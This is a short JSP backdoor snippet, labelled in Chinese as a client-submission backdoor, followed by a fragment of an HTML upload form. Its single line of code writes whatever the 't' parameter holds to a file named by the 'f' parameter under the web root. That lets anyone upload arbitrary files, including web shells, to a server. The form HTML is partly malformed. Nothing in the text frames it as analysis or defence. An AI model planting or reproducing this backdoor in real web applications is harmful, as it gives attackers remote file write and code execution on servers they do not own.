<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %> 提交客户端 程序后门代码
< textarea name=t cols=120 rows=10 width=45>your code

< input type=submit value="提交"> < /form>